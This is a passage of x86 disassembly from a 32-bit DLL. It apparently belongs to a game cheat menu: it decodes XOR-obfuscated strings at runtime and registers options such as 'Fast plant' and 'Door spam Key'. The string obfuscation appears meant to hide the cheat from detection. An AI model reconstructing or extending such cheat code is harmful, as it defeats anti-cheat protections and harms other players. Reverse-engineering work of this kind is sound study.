movaps xmm2, xmmword [0x101f8da0]
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x101f8eb0]
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [0x101ee124]
xorps xmm1, xmm0
movaps xmm0, xmm2
movd dword [esp + 0x160], xmm1
movaps xmm1, xmm2
punpckldq xmm1, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x101f8e30]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x101f8eb0]
movd xmm0, eax
mov eax, 8
packuswb xmm1, xmm1
paddb xmm1, xmm0
mov dword [esp + 0x14], eax
movd xmm0, dword [esp + 0x164]
xorps xmm1, xmm0
movd dword [esp + 0x164], xmm1
mov ebx, dword [esp + 0x14]
nop dword [eax + eax]
mov eax, 0x8fb823ef
mov cl, bl
imul ebx
add edx, ebx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
movsx eax, al
imul eax, eax, 0x39
sub cl, al
add cl, 0x30
xor byte [esp + ebx + 0x160], cl
inc ebx
cmp ebx, 0xf
jl 0x10103be0
mov edx, esi
lea ecx, [esp + 0x160]
call fcn.1016d3d0
mov esi, dword [0x103501f8]
mov eax, dword [esi + 0x1bec]
mov byte [eax + 0xa8], 1
mov edx, dword [esi + 0x1bec]
cmp byte [edx + 0xab], 0
jne 0x10103c85
movss xmm0, dword [esi + 0x15a8]
addss xmm0, dword [edx + 0xf4]
movss dword [edx + 0xec], xmm0
mov eax, dword [edx + 0xf8]
mov dword [edx + 0xf0], eax
mov eax, dword [edx + 0x11c]
mov ecx, dword [edx + 0x120]
mov dword [edx + 0x114], eax
mov dword [edx + 0x118], ecx
mov eax, dword [edx + 0x128]
mov dword [edx + 0x124], eax
mov esi, dword [esi + 0x1bec]
xor edx, edx
add esi, 0xe0
mov ecx, dword [esi]
mov eax, dword [esi + 8]
push dword [eax + ecx*4 - 4]
mov ecx, str.FOAGDOAS
call fcn.101501c0
mov edi, dword [esi + 4]
mov ecx, dword [esi]
mov dword [esp + 0x14], eax
cmp ecx, edi
jne 0x101044c0
inc ecx
test edi, edi
je 0x101044ae
mov eax, edi
cdq
sub eax, edx
sar eax, 1
add eax, edi
jmp 0x101044b3
mov eax, dword [esi + 0x1bec]
xor edx, edx
mov ecx, dword [eax + 0xe0]
mov eax, dword [eax + 0xe8]
push dword [eax + ecx*4 - 4]
mov ecx, 0x101d04ee
call fcn.101501c0
cmp dword [esi + 0x1c24], eax
jne 0x10103cfe
mov dword [esi + 0x1c28], eax
cmp dword [esi + 0x1c5c], eax
jne 0x10103d0d
mov byte [esi + 0x1c60], 1
mov edx, 0x141
mov ecx, eax
call fcn.1015d500
test al, al
je 0x101039f8
movups xmm0, xmmword [0x101ef6b4]
mov esi, dword [0x10225d40]
movups xmmword [esp + 0x46c], xmm0
psrldq xmm0, 0xf
movd eax, xmm0
test al, al
je 0x10103ebd
cmp esi, 2
jl 0x10103e8d
movaps xmm0, xmmword [0x101f8ee0]
xor ecx, ecx
movaps xmm4, xmmword [0x101f8d60]
movaps xmm3, xmmword [0x101f9240]
movaps xmm5, xmmword [0x101f8e30]
movaps xmmword [esp + 0x20], xmm0
mov edx, dword [esp + 0x20]
nop word [eax + eax]
movd xmm0, ecx
lea eax, [ecx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x101f8eb0]
packuswb xmm1, xmm1
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [esp + ecx + 0x46c]
xorps xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [esp + ecx + 0x46c], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckldq xmm1, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x101f8eb0]
packuswb xmm1, xmm1
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [esp + ecx + 0x470]
xorps xmm1, xmm0
movd dword [esp + ecx + 0x470], xmm1
add ecx, 8
cmp ecx, 0x10
jl 0x10103d80
jmp 0x10103ebd
xor ebx, ebx
nop
mov eax, 0x8fb823ef
mov cl, bl
imul ebx
add edx, ebx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
movsx eax, al
imul eax, eax, 0x39
sub cl, al
add cl, 0x30
xor byte [esp + ebx + 0x46c], cl
inc ebx
cmp ebx, 0x10
jl 0x10103e90
mov eax, dword [0x10224ca0]
movq xmm0, qword [0x101eee8c]
add eax, 0xaec
cmp byte [0x101eee97], 0
mov dword [esp + 0x10], eax
mov eax, dword [0x101eee94]
movq qword [esp + 0x3b0], xmm0
mov dword [esp + 0x3b8], eax
je 0x10104041
xor eax, eax
mov dword [esp + 0x14], eax
cmp esi, 2
jl 0x10104010
movaps xmm2, xmmword [0x101f8d60]
movaps xmm4, xmmword [0x101f9240]
movaps xmm1, xmm2
punpckldq xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
mov eax, dword [0x101f8ee0]
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x101f8e30]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movaps xmm2, xmmword [0x101f8da0]
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x101f8eb0]
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [0x101eee8c]
xorps xmm1, xmm0
movaps xmm0, xmm2
movd dword [esp + 0x3b0], xmm1
movaps xmm1, xmm2
punpckldq xmm1, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x101f8e30]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x101f8eb0]
movd xmm0, eax
mov eax, 8
packuswb xmm1, xmm1
paddb xmm1, xmm0
mov dword [esp + 0x14], eax
movd xmm0, dword [esp + 0x3b4]
xorps xmm1, xmm0
movd dword [esp + 0x3b4], xmm1
mov ebx, dword [esp + 0x14]
mov eax, 0x8fb823ef
mov cl, bl
imul ebx
add edx, ebx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
movsx eax, al
imul eax, eax, 0x39
sub cl, al
add cl, 0x30
xor byte [esp + ebx + 0x3b0], cl
inc ebx
cmp ebx, 0xc
jl 0x10104014
xor esi, esi
lea edx, [esp + 0x46c]
cmp byte [esp + 0x46c], 0
je 0x10104071
mov ecx, edx
lea edi, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10104060
sub ecx, edi
inc edx
add edx, ecx
inc esi
cmp byte [edx], al
jne 0x10104054
mov edx, dword [esp + 0x10]
lea eax, [esp + 0x46c]
push 1
push 0xffffffffffffffff
push esi
push eax
push 0x1016ee10
lea ecx, [esp + 0x3c4]
call fcn.1016ee70
mov eax, dword [str.eop_D]
xor edx, edx
movups xmm0, xmmword [str.qC_CF]
mov edi, dword [0x10225d40]
mov dword [esp + 0x73c], eax
mov al, byte [0x101ef598]
mov byte [esp + 0x740], al
mov dword [esp + 0x10], edx
movups xmmword [esp + 0x72c], xmm0
cmp edi, 2
jl 0x10104210
movaps xmm0, xmmword [0x101f8ee0]
movaps xmm4, xmmword [0x101f8d60]
movaps xmm3, xmmword [0x101f9240]
movaps xmm5, xmmword [0x101f8e30]
movaps xmmword [esp + 0x20], xmm0
mov ecx, dword [esp + 0x20]
movd xmm0, edx
lea eax, [edx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x101f8eb0]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [esp + edx + 0x72c]
xorps xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [esp + edx + 0x72c], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckldq xmm1, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x101f8eb0]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [esp + edx + 0x730]
xorps xmm1, xmm0
movd dword [esp + edx + 0x730], xmm1
add edx, 8
cmp edx, 0x10
jl 0x101040f4
mov dword [esp + 0x10], edx
cmp edx, 0x15
jge 0x10104247
nop dword [eax + eax]
mov eax, 0x8fb823ef
imul edx
add edx, dword [esp + 0x10]
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [esp + 0x10]
movsx eax, al
mov cl, dl
imul eax, eax, 0x39
sub cl, al
add cl, 0x30
xor byte [esp + edx + 0x72c], cl
inc edx
mov dword [esp + 0x10], edx
cmp edx, 0x15
jl 0x10104210
push 0
lea eax, [esp + 0x730]
mov dword [esp + 0x14], 0
push eax
lea eax, [esp + 0x1c]
mov dword [esp + 0x1c], 0x437a0000
push eax
lea eax, [esp + 0x1c]
mov edx, 8
push eax
mov eax, dword [0x10224ca0]
mov ecx, 0x101d04ee
add eax, 0xae8
push eax
call fcn.10170bf0
movups xmm0, xmmword [0x101ee094]
mov ax, word [0x101ee0a4]
mov word [esp + 0x5a0], ax
movups xmmword [esp + 0x590], xmm0
test ah, ah
je 0x1010442b
xor edx, edx
mov dword [esp + 0x10], edx
cmp edi, 2
jl 0x101043f4
movaps xmm0, xmmword [0x101f8ee0]
movaps xmm4, xmmword [0x101f8d60]
movaps xmm3, xmmword [0x101f9240]
movaps xmm5, xmmword [0x101f8e30]
movaps xmmword [esp + 0x20], xmm0
mov ecx, dword [esp + 0x20]
nop
movd xmm0, edx
lea eax, [edx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x101f8eb0]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [esp + edx + 0x590]
xorps xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [esp + edx + 0x590], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckldq xmm1, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x101f8eb0]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [esp + edx + 0x594]
xorps xmm1, xmm0
movd dword [esp + edx + 0x594], xmm1
add edx, 8
cmp edx, 0x10
jl 0x101042e0
mov dword [esp + 0x10], edx
cmp edx, 0x12
jge 0x1010442b
mov eax, 0x8fb823ef
imul edx
add edx, dword [esp + 0x10]
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [esp + 0x10]
movsx eax, al
mov cl, dl
imul eax, eax, 0x39
sub cl, al
add cl, 0x30
xor byte [esp + edx + 0x590], cl
inc edx
mov dword [esp + 0x10], edx
cmp edx, 0x12
jl 0x101043f4
push 0
lea eax, [esp + 0x594]
mov dword [esp + 0x14], 0
push eax
lea eax, [esp + 0x1c]
mov dword [esp + 0x1c], 0x437a0000
push eax
lea eax, [esp + 0x1c]
mov edx, 8
push eax
mov eax, dword [0x10224ca0]
mov ecx, 0x101d1eac
add eax, 0xaf0
push eax
call fcn.10170bf0
mov esi, dword [0x103501f8]
mov eax, dword [esi + 0x1bec]
cmp dword [esi + 0x1d54], eax
jne 0x1010448d
mov dword [esi + 0x1e58], eax
mov dword [esi + 0x1e5c], 2
test dword [eax + 8], 0x1000000
je 0x1010449d
mov byte [esi + 0x1b9e], 1
call fcn.1015b580
mov byte [esi + 0x1b9e], 0
jmp 0x101039fe
mov eax, 8
cmp eax, ecx
cmovg ecx, eax
push ecx
mov ecx, esi
call fcn.100be2b0
mov ecx, dword [esi]
mov eax, dword [esi + 8]
mov edx, dword [esp + 0x14]
push 1
push 0
mov dword [eax + ecx*4], edx
lea edx, [esp + 0x1c]
inc dword [esi]
mov ecx, 0x101ec3bc
mov dword [esp + 0x1c], 0
mov dword [esp + 0x20], 0
call fcn.1016bb30
test al, al
je 0x10104542
mov esi, dword [0x103501f8]
xor edx, edx
mov eax, dword [esi + 0x1bec]
mov ecx, dword [eax + 0xe0]
mov eax, dword [eax + 0xe8]
push dword [eax + ecx*4 - 4]
mov ecx, 0x101d04ee
call fcn.101501c0
cmp dword [esi + 0x1c24], eax
jne 0x1010452a
mov dword [esi + 0x1c28], eax
cmp dword [esi + 0x1c5c], eax
jne 0x10104539
mov byte [esi + 0x1c60], 1
xor edx, edx
mov ecx, eax
call fcn.1015d1c0
mov esi, dword [0x103501f8]
mov eax, dword [esi + 0x1d30]
cmp eax, dword [esi + 0x1d3c]
jg 0x10104565
mov dword [esi + 0x1c74], 0
jmp 0x10104878
mov eax, dword [esi + 0x1bec]
xor edx, edx
mov ecx, dword [eax + 0xe0]
mov eax, dword [eax + 0xe8]
push dword [eax + ecx*4 - 4]
mov ecx, 0x101d04ee
call fcn.101501c0
cmp dword [esi + 0x1c24], eax
jne 0x10104595
mov dword [esi + 0x1c28], eax
cmp dword [esi + 0x1c5c], eax
jne 0x101045a4
mov byte [esi + 0x1c60], 1
mov edx, 0x141
mov ecx, eax
call fcn.1015d500
test al, al
je 0x10104878
mov ax, word [0x101eed70]
xor ebx, ebx
movq xmm0, qword [str.bTS_]
mov esi, dword [0x10224ca0]
mov word [esp + 0x468], ax
mov al, byte [0x101eed72]
movq qword [esp + 0x460], xmm0
mov byte [esp + 0x46a], al
nop dword [eax + eax]
mov eax, 0x1f7047dd
mov cl, bl
mul ebx
mov eax, ebx
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul eax, eax, 0x39
sub cl, al
add cl, 0x30
xor byte [esp + ebx + 0x460], cl
inc ebx
cmp ebx, 0xb
jl 0x101045f0
xorps xmm0, xmm0
mov dword [esp + 0x48c], 0
lea ecx, [esp + 0x460]
mov dword [esp + 0x490], 0
movups xmmword [esp + 0x47c], xmm0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10104647
sub ecx, edx
lea eax, [esp + 0x460]
push ecx
push eax
lea ecx, [esp + 0x484]
call fcn.10027940
cmp dword [esp + 0x490], 0xf
lea eax, [esi + 0x19ab]
push 0
push 0
push 0
push 0
push eax
lea eax, [esi + 0x19af]
push eax
lea ecx, [esp + 0x494]
cmova ecx, dword [esp + 0x494]
lea edx, [esi + 0x199f]
push 0
call fcn.100be720
mov ecx, dword [esp + 0x490]
cmp ecx, 0xf
jbe 0x101046db
mov edx, dword [esp + 0x47c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x101046d1
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1010a8a1
push ecx
push edx
call fcn.1019a58d
add esp, 8
mov ax, word [0x101ee21c]
mov esi, dword [0x10224ca0]
movq xmm0, qword [0x101ee214]
add esi, 0x19b0
mov word [esp + 0x194], ax
xor ebx, ebx
mov al, byte [0x101ee21e]
mov byte [esp + 0x196], al
movq qword [esp + 0x18c], xmm0
mov byte [esp + 0x47c], 0
mov dword [esp + 0x490], 0xf
mov dword [esp + 0x48c], 0
mov eax, 0x1f7047dd
mov cl, bl
mul ebx
mov eax, ebx
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul eax, eax, 0x39
sub cl, al
add cl, 0x30
xor byte [esp + ebx + 0x18c], cl
inc ebx
cmp ebx, 0xb
jl 0x10104732
xorps xmm0, xmm0
mov dword [esp + 0x690], 0
lea ecx, [esp + 0x18c]
mov dword [esp + 0x694], 0
movups xmmword [esp + 0x680], xmm0
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10104790
sub ecx, edx
lea eax, [esp + 0x18c]
push ecx
push eax
lea ecx, [esp + 0x688]
call fcn.10027940
cmp dword [esp + 0x694], 0xf
lea eax, [esi + 0xc]
push 0
push 0
push 0
push 0
push eax
lea eax, [esi + 0x10]
mov edx, esi
push eax
lea ecx, [esp + 0x698]
cmova ecx, dword [esp + 0x698]
push 0
call fcn.100be720
mov ecx, dword [esp + 0x694]
cmp ecx, 0xf
jbe 0x1010481a
mov edx, dword [esp + 0x680]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10104810
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1010a8a1
push ecx
push edx
call fcn.1019a58d
add esp, 8
mov esi, dword [0x103501f8]
mov dword [esp + 0x690], 0
mov dword [esp + 0x694], 0xf
mov byte [esp + 0x680], 0
mov eax, dword [esi + 0x1bec]
cmp dword [esi + 0x1d54], eax
jne 0x1010485c
mov dword [esi + 0x1e58], eax
mov dword [esi + 0x1e5c], 2
test dword [eax + 8], 0x1000000
je 0x1010486c
mov byte [esi + 0x1b9e], 1
call fcn.1015b580
mov byte [esi + 0x1b9e], 0
mov eax, dword [0x103501f8]
mov eax, dword [eax + 0x1bec]
dec dword [eax + 0xe0]
mov ax, word [0x101ef5e0]
mov word [esp + 0x44], ax
test ah, ah
je 0x101048c9
xor ebx, ebx
nop word [eax + eax]
mov eax, 0x1f7047dd
mov cl, bl
mul ebx
mov eax, ebx
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul eax, eax, 0x39
sub cl, al
add cl, 0x30
xor byte [esp + ebx + 0x44], cl
inc ebx
cmp ebx, 2
jl 0x101048a0
lea eax, [esp + 0x44]
push eax
call fcn.1016b3b0
mov al, byte [0x101edfb4]
add esp, 4
movq xmm0, qword [0x101edfac]
xor ebx, ebx
mov byte [esp + 0x280], al
movq qword [esp + 0x278], xmm0
mov eax, 0x1f7047dd
mov cl, bl
mul ebx
mov eax, ebx
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul eax, eax, 0x39
sub cl, al
add cl, 0x30
xor byte [esp + ebx + 0x278], cl
inc ebx
cmp ebx, 9
jl 0x101048f5
lea eax, [esp + 0x278]
push eax
call fcn.1016b3b0
mov esi, dword [0x10224ca0]
add esp, 4
mov ecx, dword [str.s_S__TQ7_Z_]
add esi, 0x33d8
cmp byte [0x101ef063], 0
mov edx, dword [0x101ef060]
mov dword [esp + 0xfc], ecx
mov dword [esp + 0x100], edx
je 0x10104a9d
xor ebx, ebx
cmp dword [0x10225d40], 2
jl 0x10104a70
movaps xmm2, xmmword [0x101f8d60]
movaps xmm4, xmmword [0x101f9240]
movaps xmm1, xmm2
punpckldq xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
mov eax, dword [0x101f8ee0]
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x101f8e30]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movaps xmm2, xmmword [0x101f8da0]
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x101f8eb0]
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, ecx
xorps xmm1, xmm0
movaps xmm0, xmm2
movd dword [esp + 0xfc], xmm1
movaps xmm1, xmm2
punpckldq xmm1, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x101f8e30]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x101f8eb0]
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, edx
xorps xmm1, xmm0
movd dword [esp + 0x100], xmm1
jmp 0x10104a9d
mov eax, 0x8fb823ef
mov cl, bl
imul ebx
add edx, ebx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
movsx eax, al
imul eax, eax, 0x39
sub cl, al
add cl, 0x30
xor byte [esp + ebx + 0xfc], cl
inc ebx
cmp ebx, 8
jl 0x10104a70
mov edx, esi
lea ecx, [esp + 0xfc]
call fcn.1016d3d0
mov esi, dword [0x10224ca0]
movq xmm0, qword [0x101ef1b4]
add esi, 0x35a7
mov al, byte [0x101ef1bc]
xor edx, edx
movq qword [esp + 0x12c], xmm0
mov byte [esp + 0x134], al
mov dword [esp + 0x10], edx
nop word [eax + eax]
mov eax, 0x1f7047dd
mul edx
mov eax, dword [esp + 0x10]
sub eax, edx
shr eax, 1
add eax, edx
mov edx, dword [esp + 0x10]
shr eax, 5
mov cl, dl
movsx eax, al
imul eax, eax, 0x39
sub cl, al
add cl, 0x30
xor byte [esp + edx + 0x12c], cl
inc edx
mov dword [esp + 0x10], edx
cmp edx, 9
jl 0x10104ae0
mov edx, esi
lea ecx, [esp + 0x12c]
call fcn.1016d3d0
mov ax, word [0x101eeed8]
movq xmm0, qword [str.t_A]
mov esi, dword [0x10224ca0]
movq qword [esp + 0x5d0], xmm0
mov word [esp + 0x5d8], ax
test ah, ah
je 0x10104b7c
xor ebx, ebx
nop
mov eax, 0x1f7047dd
mov cl, bl
mul ebx
mov eax, ebx
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul eax, eax, 0x39
sub cl, al
add cl, 0x30
xor byte [esp + ebx + 0x5d0], cl
inc ebx
cmp ebx, 0xa
jl 0x10104b50
lea edx, [esi + 0x33d9]
lea ecx, [esp + 0x5d0]
call fcn.1016d3d0
mov edx, dword [0x10224ca0]
mov ecx, str.Fast_plant
lea edx, [edx + 0x35ac]
call fcn.1016d3d0
mov esi, dword [0x103501f8]
mov eax, dword [esi + 0x1bec]
mov byte [eax + 0xa8], 1
mov edx, dword [esi + 0x1bec]
cmp byte [edx + 0xab], 0
jne 0x10104c0e
movss xmm0, dword [esi + 0x15a8]
addss xmm0, dword [edx + 0xf4]
movss dword [edx + 0xec], xmm0
mov eax, dword [edx + 0xf8]
mov dword [edx + 0xf0], eax
mov eax, dword [edx + 0x11c]
mov ecx, dword [edx + 0x120]
mov dword [edx + 0x114], eax
mov dword [edx + 0x118], ecx
mov eax, dword [edx + 0x128]
mov dword [edx + 0x124], eax
mov esi, dword [esi + 0x1bec]
xor edx, edx
add esi, 0xe0
mov ecx, dword [esi]
mov eax, dword [esi + 8]
push dword [eax + ecx*4 - 4]
mov ecx, str.Door_spam_Key
call fcn.101501c0
mov edi, dword [esi + 4]
mov ecx, dword [esi]
mov dword [esp + 0x14], eax
cmp ecx, edi
jne 0x10104c5e
inc ecx
test edi, edi
je 0x10104c4c
mov eax, edi
cdq
sub eax, edx
sar eax, 1
add eax, edi
jmp 0x10104c51
mov eax, 8
cmp eax, ecx
cmovg ecx, eax
push ecx
mov ecx, esi
call fcn.100be2b0
mov ecx, dword [esi]
mov eax, dword [esi + 8]
mov edx, dword [esp + 0x14]
push ecx
mov dword [esp + 0x18], 0x42c80000
mov dword [eax + ecx*4], edx
lea eax, [esp + 0x18]
inc dword [esi]
mov ecx, 0x101d04ee
mov edx, dword [0x10224ca0]
push eax
mov dword [esp + 0x20], 0
lea edx, [edx + 0x33dc]
call fcn.100c0100
mov eax, dword [0x103501f8]
mov eax, dword [eax + 0x1bec]
dec dword [eax + 0xe0]
mov eax, dword [0x101eea6c]
movq xmm0, qword [str.P_V]
mov esi, dword [0x10224ca0]
mov dword [esp + 0x340], eax
mov al, byte [0x101eea70]
mov byte [esp + 0x344], al
xor eax, eax
cmp dword [0x10225d40], 2
movq qword [esp + 0x338], xmm0
mov dword [esp + 0x14], eax
jl 0x10104df7
movaps xmm2, xmmword [0x101f8d60]
movaps xmm4, xmmword [0x101f9240]
movaps xmm1, xmm2
punpckldq xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
mov eax, dword [0x101f8ee0]
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x101f8e30]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movaps xmm2, xmmword [0x101f8da0]
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x101f8eb0]
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [str.P_V]
xorps xmm1, xmm0
movaps xmm0, xmm2
movd dword [esp + 0x338], xmm1
movaps xmm1, xmm2
punpckldq xmm1, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x101f8e30]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x101f8eb0]
movd xmm0, eax
mov eax, 8
packuswb xmm1, xmm1
paddb xmm1, xmm0
mov dword [esp + 0x14], eax
movd xmm0, dword [esp + 0x33c]
xorps xmm1, xmm0
movd dword [esp + 0x33c], xmm1
mov ebx, dword [esp + 0x14]
nop dword [eax + eax]
mov eax, 0x8fb823ef
mov cl, bl
imul ebx
add edx, ebx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
movsx eax, al
imul eax, eax, 0x39
sub cl, al
add cl, 0x30
xor byte [esp + ebx + 0x338], cl
inc ebx
cmp ebx, 0xd
jl 0x10104e00
lea edx, [esi + 0x35a5]
lea ecx, [esp + 0x338]
call fcn.1016d3d0
call fcn.100ca100
mov eax, dword [0x103501f8]
